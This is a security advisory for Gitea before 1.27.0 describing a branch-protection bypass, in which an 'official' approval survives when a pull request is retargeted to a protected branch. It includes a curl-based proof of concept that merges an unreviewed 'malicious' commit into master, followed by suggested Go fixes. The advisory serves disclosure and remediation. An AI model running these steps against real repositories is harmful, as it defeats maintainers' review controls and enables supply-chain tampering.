GHSA-w5pg-649r-p6gg Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0

Summary Gitea does not re-evaluate the `official` flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval. • Confirmed on Gitea 1.25.4 (`1.25.4+41-g96515c0f20`) Vulnerability Details Root Cause When a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the target branch's approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record. When a PR's target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function: • Updates `pr.BaseBranch` • Recalculates merge feasibility and divergence • Deletes old push comments • Creates a "change target branch" comment But it does not: • Re-evaluate `official` on existing reviews • Dismiss existing approvals • Check whether reviewers are in the new target branch's approval whitelist At merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean — it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch's approval requirement. Relevant Code Paths 1. Review creation — `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`'s protection rules, stores `official=true/false` 2. Target branch change — `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews 3. Merge check — `services/pull/check.go:CheckPullMergeable` → `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch's whitelist Prerequisites The attacker needs: • Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin) • The ability to create pull requests (standard for any user with push access) • A second account (or any non-admin account) to submit the approval on the unprotected branch The attacker does not need: • Admin access • To be in the approval whitelist for the protected branch • Any interaction from the branch protection's designated approvers Proof of Concept Setup Repository `owner/repo` with branch `master` protected: • Required approvals: 1 • Approval whitelist enabled, containing only user `admin-reviewer` • User `attacker` has write access but is not in the approval whitelist Steps ```bash BASE="http://gitea-instance:3000" OWNER="owner" REPO="repo" ATTACKER_AUTH="attacker:password" ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user 1. Create an unprotected temporary branch from master curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}' 2. Push a malicious commit to a feature branch git checkout -b malicious-branch origin/master echo "malicious payload" > payload.txt git add payload.txt git commit -m "innocent looking commit" git push origin malicious-branch 3. Create PR targeting the UNPROTECTED branch curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{ "head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature" }' Returns PR #N 4. Approve the PR (official=true because tmp-unprotected has no protection) curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Content-Type: application/json" \ -d '{"event": "APPROVED", "body": "LGTM"}' Response includes: "official": true 5. Retarget the PR to protected master curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"base": "master"}' 6. Verify: approval is still official=true against master curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ATTACKER_AUTH" Response: "official": true, "dismissed": false, "stale": false 7. Merge — succeeds despite no whitelisted approver reviewing curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"do": "merge"}' Returns 200 OK — malicious commit is now on master ``` Observed API Responses Step 4 — Approval on unprotected branch: ```json {"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}} ``` Step 6 — Same approval after retarget to protected master: ```json {"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}} ``` The `official` flag is unchanged. Under the protected branch's rules, this user's approval should be `official: false`. Impact • Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving • Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements Suggested Fix Re-evaluate the `official` flag on all existing reviews when a PR's target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`: ```go // After updating the base branch, re-evaluate official status on all reviews reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{ IssueID: pr.IssueID, Type: issues_model.ReviewTypeApprove, }) if err != nil { return err } newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch) if err != nil { return err } for _, review := range reviews { wasOfficial := review.Official if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist { review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer) } else { review.Official = false } if wasOfficial != review.Official { if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil { return err } } } ``` Alternatively, dismiss all existing approvals on retarget (simpler, more conservative): ```go // Dismiss all approvals when target branch changes if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{ IssueID: pr.IssueID, Message: "Dismissed: PR target branch changed", }); err != nil { return err } ```